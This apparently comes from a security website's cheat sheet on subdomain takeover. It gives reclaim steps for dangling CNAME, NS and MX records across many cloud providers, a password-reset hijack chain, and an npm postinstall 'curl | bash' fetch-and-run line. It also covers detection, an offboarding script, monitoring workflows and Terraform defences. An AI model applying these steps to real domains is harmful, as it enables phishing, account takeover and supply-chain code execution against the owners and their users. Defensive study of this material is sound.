Vulnsy
All cheat sheets

Subdomain Takeover Cheat Sheet

highOWASP Top 10 A05CWE-350CWE-1102

A subdomain takeover happens when a DNS record (CNAME, NS, or MX) points at a third-party service that no longer claims the host, so an attacker can re-register the orphaned resource and serve content from a real corporate subdomain. Impact ranges from phishing and cookie theft to NS-takeover-driven full HTTPS impersonation, supply-chain JS injection from re-registered S3 buckets, and password-reset hijacking via MX takeover.

CNAME takeover is the textbook case but NS-takeover is the higher-severity variant — the attacker controls the entire DNS zone and can issue Let's Encrypt certs at will. The 2024-2025 supply-chain S3 research extended the threat into npm and CI artefacts, so an offboarding runbook that deletes the DNS record before the cloud resource is now the table-stakes defense.

32 payloads across 4 technique families

CNAME takeover (provider fingerprints)

The most common class. A subdomain has CNAME pointing at unclaimed-target.<provider>.com; the provider does not verify ownership when a new account claims the same custom hostname, so the attacker registers the orphaned account/app/bucket and serves content. Each payload below is a CNAME pattern paired with the exact error string indicating an unclaimed host. Re-confirm against EdOverflow/can-i-take-over-xyz before public reporting; vendor patches change status frequently.

Detection signals
  • CNAME resolves but final A-record query returns NXDOMAIN.
  • HTTP body contains a known provider error string (see fingerprints above).
  • Provider headers on a "missing" page: Server: GitHub.com, x-vercel-id, x-served-by: cache-...netlify, x-amz-bucket-region.
  • subzy run --targets subs.txt and nuclei -t http/takeovers/ -l subs.txt match the orphan.

AWS S3 — NoSuchBucket fingerprint

AWS S3
CNAME → *.s3.amazonaws.com  |  body: "The specified bucket does not exist" / NoSuchBucket

Bucket name equals the subdomain (assets.example.com → bucket assets.example.com). Re-create the bucket in the original region and serve arbitrary content. Now also a supply-chain primitive when the bucket is referenced by JS or CDN URLs in npm packages.

AWS Elastic Beanstalk — NXDOMAIN

AWS Elastic Beanstalk
CNAME → *.elasticbeanstalk.com  |  resolution: NXDOMAIN (region-specific)

Beanstalk environments expose region-bound CNAMEs. After environment deletion the hostname becomes claimable by a new environment in the same region.

AWS CloudFront — legacy edge case

AWS CloudFront
CNAME → *.cloudfront.net  |  body: "Bad request. ERROR: ..."

CloudFront added DNS verification on alternate-domain bindings in 2018. Only legacy bindings created before the patch remain exploitable; otherwise the provider rejects new claims.

Azure App Service — NXDOMAIN

Azure App Service
CNAME → *.azurewebsites.net  |  resolution: NXDOMAIN

Register a new App Service with the orphaned hostname; Azure will bind it instantly without verifying the original owner.

Azure Cloud Service — NXDOMAIN

Azure Cloud Service
CNAME → *.cloudapp.net or *.cloudapp.azure.com  |  resolution: NXDOMAIN

Classic and ARM-style Azure cloud-service hostnames are claimable when the original deployment is deleted; same pattern as App Service.

Azure Traffic Manager — NXDOMAIN

Azure Traffic Manager
CNAME → *.trafficmanager.net  |  resolution: NXDOMAIN

Traffic Manager profile names are global; deleted profiles can be re-registered by any tenant and immediately answer for the dangling CNAME.

Azure CDN — NXDOMAIN

Azure CDN
CNAME → *.azureedge.net  |  resolution: NXDOMAIN

Azure CDN endpoint names follow the same global-namespace pattern; orphaned endpoints can be re-registered by any tenant.

Heroku — "No such app"

Heroku
CNAME → *.herokuapp.com or *.herokudns.com  |  body: "No such app"

Create an empty Heroku app and run heroku domains:add <victim subdomain>. Region/account-bound, so confirm before reporting.

GitHub Pages — "There isn't a GitHub Pages site here."

GitHub Pages
CNAME → *.github.io  |  body: "There isn't a GitHub Pages site here."

When the original repo is deleted the CNAME-targeted user/org slot becomes claimable: create a repo at <takeover-account>/<old-cname-target> with a CNAME file matching the victim subdomain.

Fastly — verification required

Fastly
CNAME → *.fastly.net  |  body: "Fastly error: unknown domain"

Fastly added host-header verification in 2018, so the error string surfaces but reclaim requires account-level proof. Document and report; do not assume exploitable without further checks.

Shopify — "Sorry, this shop is currently unavailable."

Shopify
CNAME → *.myshopify.com  |  body: "Sorry, this shop is currently unavailable."

Edge case: claimable when the store name is freed. Wildcard inheritance via *.example.com → tenant.shopify.com extends the surface.

Tumblr — orphan domain

Tumblr
CNAME → domains.tumblr.com  |  body: "Whatever you were looking for doesn't exist..."

Edge case but historically reliable; the brand.zen.ly Zenly disclosure (HackerOne #1474784) was a Tumblr-class example.

Webflow — "The page you are looking for doesn't exist"

Webflow
CNAME → proxy.webflow.com or proxy-ssl.webflow.com  |  body: "The page you are looking for doesn't exist"

Edge-case provider; Webflow patches in 2023 reduced but did not eliminate. Reclaim by binding a new Webflow project to the abandoned hostname.

Vercel — DEPLOYMENT_NOT_FOUND

Vercel
CNAME → cname.vercel-dns.com  |  body: "DEPLOYMENT_NOT_FOUND" / 404 + x-vercel-id header

Add the orphan hostname to a Vercel project; verification by HTTP file or DNS TXT, both of which the attacker now controls because DNS already points to Vercel.

Netlify — "Not Found - Request ID:"

Netlify
CNAME → *.netlify.app or *.netlify.com  |  body: "Not Found - Request ID:"

Edge-case provider; identical reclaim flow to Vercel. The x-served-by: cache-...netlify header in the dangling-host response is a strong fingerprint.

Helpscout — "No settings were found for this company"

Help Scout
CNAME → *.helpscoutdocs.com  |  body: "No settings were found for this company"

Community-reported as vulnerable; reclaim by binding the Help Scout docs site to the abandoned subdomain.

Cargo Collective — moving-domain message

Cargo Collective
CNAME → subdomain.cargocollective.com  |  body: "404 Not Found" + "If you're moving your domain away from Cargo..."

Reclaim by registering a Cargo Collective account and binding the orphan hostname; provider does not verify prior ownership.

Tilda — "Please renew your subscription"

Tilda
CNAME → *.tilda.ws  |  body: "Please renew your subscription" / "Domain has been assigned"

Tilda accounts can re-bind an orphan hostname after the original subscription lapses; the renewal-prompt page is the unique fingerprint.

Unbounce — "The requested URL was not found on this server."

Unbounce
CNAME → unbouncepages.com  |  body: "The requested URL was not found on this server."

Marketing landing-page builder; reclaim by adding the orphan hostname to a new Unbounce account.

Pantheon — "The gods are wise"

Pantheon
CNAME → *.pantheonsite.io  |  body: "The gods are wise, but do not know of the site which you seek."

Distinctive fingerprint string. Reclaim by binding the orphan hostname to a Pantheon site.

Strikingly — "PAGE NOT FOUND."

Strikingly
CNAME → *.s.strikinglydns.com  |  body: "PAGE NOT FOUND."

Reclaim by adding the orphan hostname to a new Strikingly site. All-caps fingerprint distinguishes from generic 404s.

Surge.sh — "project not found"

Surge.sh
CNAME → na-west1.surge.sh  |  body: "project not found"

Surge's CLI accepts arbitrary CNAME targets without ownership proof; reclaim by deploying any project to the orphan hostname.

Anima — "If this is your website..."

Anima
CNAME → animaapp.com  |  body: "If this is your website and you've just created it..."

Anima's onboarding screen on an unbound hostname is the fingerprint; reclaim through the platform UI.

LaunchRock — "wrong turn somewhere"

LaunchRock
CNAME → *.launchrock.com  |  body: "It looks like you may have taken a wrong turn somewhere."

Pre-launch landing-page service; orphan hostnames are claimable by new accounts.

Readme.io — "Project doesnt exist... yet!"

Readme.io
CNAME → *.readme.io  |  body: "Project doesnt exist... yet!"

Documentation host. Reclaim by creating a Readme project with the orphan hostname.

NS takeover (delegated nameserver)

sub.example.com has NS pointing at ns1.deadprovider.com. If deadprovider.com is expired or unregistered, the attacker registers it and controls the entire DNS zone for sub.example.com — including issuing Let's Encrypt certs for full HTTPS impersonation. Severity is materially higher than CNAME takeover. Documented at scale by Patrik Hudak and Matthew Bryant's 120k-domain study (2016, still cited because the vector remains unsolved).

Detection signals
  • NS query returns SERVFAIL or REFUSED from one of multiple delegated nameservers.
  • NS target base domain is AVAILABLE in whois.
  • Managed-DNS provider returns "no zone" / "not found" responses on what should be authoritative answers.

Expired authoritative NS domain

NS-takeover (registrar gap)
dig +short NS sub.example.com  →  ns1.deadprovider.com (whois: AVAILABLE)

Confirm the NS target's base domain is unregistered with whois, then register it. The new registration owns the zone and can issue arbitrary records, including DNS-01 ACME challenges for valid TLS certs.

Unclaimed managed-DNS zone

Managed-DNS provider
dig +short NS sub.example.com  →  ns-123.awsdns-12.com (zone unclaimed in Route53 UI)

NS points at Route53 / DigitalOcean / Rackspace nameservers but the zone is not claimed inside the provider account. Attacker creates the zone in their own account and the provider serves their records.

NS SERVFAIL signal

Authoritative NS
nslookup sub.example.com 8.8.8.8  vs.  nslookup sub.example.com 1.1.1.1  →  SERVFAIL

If only one of two delegated nameservers responds, the zone is partially claimable / misconfigured. Strong indicator that a delegated zone is up for grabs.

MX takeover (mail-flow hijack)

MX 10 mx.deadprovider.com where the MX target is unclaimed. The attacker stands up an SMTP listener and receives mail to that domain. Lower direct severity, but high impact for password-reset hijacking, vendor-invoice fraud, and OAuth/SaaS account takeover where support@-style aliases are accepted by downstream services.

Detection signals
  • MX target domain is unregistered or registered but inactive.
  • No active mailflow (no MTAs answering on the MX target IPs) despite the record being live.

Dangling MX → SMTP listener

MX hijack
dig +short MX example.com  →  mx.deadprovider.com (unregistered)

Register the MX target domain, run an SMTP receiver, and collect inbound mail. Use it to receive password-reset tokens for SaaS accounts that allow shared aliases like support@ or admin@.

Password-reset chain

Downstream SaaS
POST /forgot-password { "email": "support@victim.tld" }  →  reset link delivered to attacker SMTP

After hijacking MX, trigger a password reset on a downstream SaaS that accepts shared aliases. The reset email lands on the attacker's SMTP listener, completing the ATO chain.

Supply-chain S3 takeover

Class formalised by 2024-2025 research: deleted S3 buckets referenced inside JS files, CDN URLs, npm packages or CI logs are re-registered by attackers, who then serve malicious JavaScript directly into customer build pipelines. Distinct from a CNAME takeover because there may be no DNS record at all — the URL is hard-coded into a published artefact.

Detection signals
  • Static analysis of published artefacts for s3.amazonaws.com / s3-website-<region>.amazonaws.com URLs.
  • HTTP probe of those URLs returning NoSuchBucket / 404.
  • CI build logs referencing buckets that no longer resolve.

Hard-coded S3 URL in published JS

AWS S3 (supply chain)
GET https://victim-deleted-bucket.s3.amazonaws.com/v1/widget.js  →  NoSuchBucket

Find references to s3.amazonaws.com or s3-website-<region>.amazonaws.com inside published bundles, npm tarballs, or CI artefacts; if the bucket is deleted, register it in the same region and serve attacker JS to every consumer of that artefact.

Bucket reference in package install script

npm postinstall
postinstall: curl -sSL https://victim-cdn.s3.amazonaws.com/installer.sh | bash

npm postinstall hooks that pull from a deleted S3 bucket allow the attacker to execute arbitrary code on every install once the bucket is re-registered.

Modern bypasses (2023–2026)

NS-takeover with managed DNS

Claim an unclaimed Route53/DigitalOcean/Rackspace zone whose NS records still point to the provider; the attacker controls authoritative DNS without needing to register a domain. Trivially issues Let's Encrypt certificates via DNS-01 → full HTTPS impersonation of the victim subdomain.

dig NS sub.example.com → ns-123.awsdns-12.com (zone uncreated in target Route53 account)

MX takeover for OAuth/password-reset abuse

If support.example.com MX is dangling, the attacker stands up an SMTP listener and triggers password resets on downstream SaaS that accept shared aliases. 2024 disclosures show this used as a full account-takeover chain, not just a phishing primitive.

Wildcard-CNAME inheritance

*.example.com CNAME → tenant.shopify.com means any non-existent label inherits the dangling target. Shopify, Webflow, and Vercel patches in 2023 reduced but did not eliminate this; wildcard CNAMEs into multi-tenant providers remain a high-risk pattern.

*.example.com IN CNAME tenant.shopify.com (tenant since deleted → every label is takeoverable)

Supply-chain S3 re-registration

Researchers (Oct 2024 – Jan 2025) re-registered abandoned S3 buckets referenced inside npm packages and CI artefacts, demonstrating that subdomain takeover has graduated into a supply-chain primitive. Hard-coded https://*.s3.amazonaws.com URLs in JavaScript bundles are now an attack surface in their own right.

Cloud-CDN re-bind via legacy bindings

Provider patches verify ownership on initial bind but did not retroactively invalidate older un-verified bindings. 2024 Detectify scans still found thousands of CloudFront and Fastly hosts exploitable through legacy entries.

Defences

DNS-record retirement in the offboarding runbook

Make DNS-record deletion a checklist gate that runs before the cloud resource is torn down. Most takeovers exist because the order was reversed. The script below pairs Route53 record deletion with the resource teardown so the two cannot drift.

#!/usr/bin/env bash
# offboard-subdomain.sh — delete DNS first, then the resource.
# Usage: ./offboard-subdomain.sh assets.example.com s3 my-bucket
set -euo pipefail

SUBDOMAIN="$1"     # assets.example.com
RESOURCE_TYPE="$2" # s3 | beanstalk | heroku | netlify | vercel | azure-app
RESOURCE_ID="$3"   # bucket / app / project name

ZONE_ID="$(aws route53 list-hosted-zones --query 'HostedZones[?Name==`example.com.`].Id' --output text)"

# 1. Snapshot the current record so we can roll back.
aws route53 list-resource-record-sets --hosted-zone-id "$ZONE_ID" \
  --query "ResourceRecordSets[?Name==\`$SUBDOMAIN.\`]" > "/tmp/$SUBDOMAIN.json"

# 2. Delete the DNS record FIRST.
aws route53 change-resource-record-sets --hosted-zone-id "$ZONE_ID" --change-batch \
  "{\"Changes\":[{\"Action\":\"DELETE\",\"ResourceRecordSet\":$(jq '.[0]' "/tmp/$SUBDOMAIN.json")}]}"

# 3. Confirm propagation before tearing down the cloud resource.
for i in 1 2 3 4 5; do
  if ! dig +short "$SUBDOMAIN" | grep -q .; then
    echo "DNS removed; tearing down $RESOURCE_TYPE/$RESOURCE_ID"
    case "$RESOURCE_TYPE" in
      s3) aws s3 rb "s3://$RESOURCE_ID" --force ;;
      heroku) heroku apps:destroy --app "$RESOURCE_ID" --confirm "$RESOURCE_ID" ;;
      *) echo "Manual teardown required for $RESOURCE_TYPE"; exit 0 ;;
    esac
    exit 0
  fi
  sleep 30
done
echo "DNS still resolving after 2.5 min — abort." >&2
exit 1

Continuous fingerprint scanning + CT-log monitoring

Pair nightly subdomain enumeration (amass / subfinder / chaos / SecurityTrails) with provider-fingerprint scanning (subzy, nuclei takeover templates, dnsReaper) and Certificate-Transparency-log monitoring. CT alerts catch the case where someone — friend or foe — already issued a cert for a host you forgot you owned.

# .github/workflows/subdomain-watch.yml
name: subdomain-takeover-watch
on:
  schedule:
    - cron: '0 3 * * *'   # nightly
  workflow_dispatch:
jobs:
  enumerate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Enumerate subdomains
        run: |
          subfinder -silent -d example.com > subs.txt
          amass enum -passive -d example.com >> subs.txt
          sort -u subs.txt -o subs.txt
      - name: Fingerprint scan (subzy)
        run: |
          go install github.com/PentestPad/subzy@latest
          subzy run --targets subs.txt --hide_fails
      - name: Nuclei takeover templates
        run: nuclei -t http/takeovers/ -l subs.txt -severity high,critical
      - name: CT-log diff
        run: |
          curl -sf "https://crt.sh/?q=%25.example.com&output=json" \
            | jq -r '.[].name_value' | sort -u > certs.today
          diff certs.yesterday certs.today | tee ct-diff.txt || true
          mv certs.today certs.yesterday
      - name: Alert on findings
        if: failure()
        run: ./scripts/page-secops.sh

Centralised subdomain inventory tied to cloud accounts

Every DNS record should map to a system-of-record entry naming the cloud account, owner, and resource ARN. CMDB / IPAM ownership records are the upstream control that makes nightly fingerprint scans actionable — without them, alerts have nobody to route to.

Route53 alias records bound to ARNs

On AWS, prefer Route53 alias records pointing directly at S3 / CloudFront / ELB ARNs over CNAMEs. Alias records are bound to the resource at evaluation time, so deleting the resource breaks the record explicitly instead of leaving it dangling.

# Terraform — alias record (no dangling-CNAME class)
resource "aws_route53_record" "assets" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "assets.example.com"
  type    = "A"

  alias {
    name                   = aws_cloudfront_distribution.assets.domain_name
    zone_id                = aws_cloudfront_distribution.assets.hosted_zone_id
    evaluate_target_health = false
  }
}

# A null MX record on every domain you do NOT actively send/receive mail from.
resource "aws_route53_record" "null_mx" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "example.com"
  type    = "MX"
  ttl     = 86400
  records = ["0 ."]
}

Wildcard-CNAME prohibition

Avoid *.example.com → vendor.tld unless every label is owned, monitored, and revoked when retired. Wildcard inheritance into multi-tenant providers is the single largest source of "we did not even know that subdomain existed" takeovers.

NS-record monitoring + null MX

Alert on SERVFAIL or REFUSED responses from any authoritative NS for your domains, and set MX 0 . on every domain you do not actively send/receive mail from. This neutralises the NS- and MX-takeover classes that CNAME-only monitoring misses.

Provider-side ownership verification on rebind

For SaaS that issues custom domains: enforce HTTP-file or DNS-TXT verification before activating, and reject re-binding unless the original account proves control. This is what CloudFront/Fastly/Squarespace did; the providers still on the vulnerable list have not yet adopted equivalent controls.

Real-world CVEs

CVEYearTitleDescription
HackerOne #17176262022Consensys subdomain takeoverModern (2022) provider takeover on a CNAME-pointing subdomain. Fix involved DNS record removal rather than provider-side change, demonstrating that customer-owned DNS hygiene is the durable control.
HackerOne #14747842022Zenly brand.zen.ly Tumblr-class takeoverEdge-case provider (Tumblr) caught by a missing DNS-cleanup step after decommissioning the brand site. Classic example of the offboarding-runbook gap.
HackerOne #2027672017AWS S3 NoSuchBucket subdomain takeoverEarly canonical disclosure: a CNAME pointing at a deleted S3 bucket allowed an attacker to re-register the bucket and serve arbitrary content under a real corporate subdomain. Still cited because the pattern is alive in 2024-2025 supply-chain studies.
HackerOne #169740220228x8 subdomain takeoverPublic bounty disclosure (partially redacted) showing continued prevalence on enterprise SaaS; reinforced that nightly fingerprint scans remain valuable in 2022-onwards programs.
Detectify 2024 measurement2024Persistent vulnerability across major providersLarge-scale Detectify scan confirmed thousands of dangling CNAMEs across Azure, Heroku, GitHub Pages, Vercel and Netlify despite years of patches. Empirical evidence that defense-in-depth (offboarding + monitoring) is non-optional.
Supply-chain S3 study (Oct 2024 – Jan 2025)2025Re-registered abandoned S3 buckets in npm/CI artefactsResearchers re-registered abandoned S3 buckets referenced from npm packages and CI build logs, demonstrating that subdomain takeover has graduated into a supply-chain attack primitive against build pipelines.

Further reading

Related cheat sheets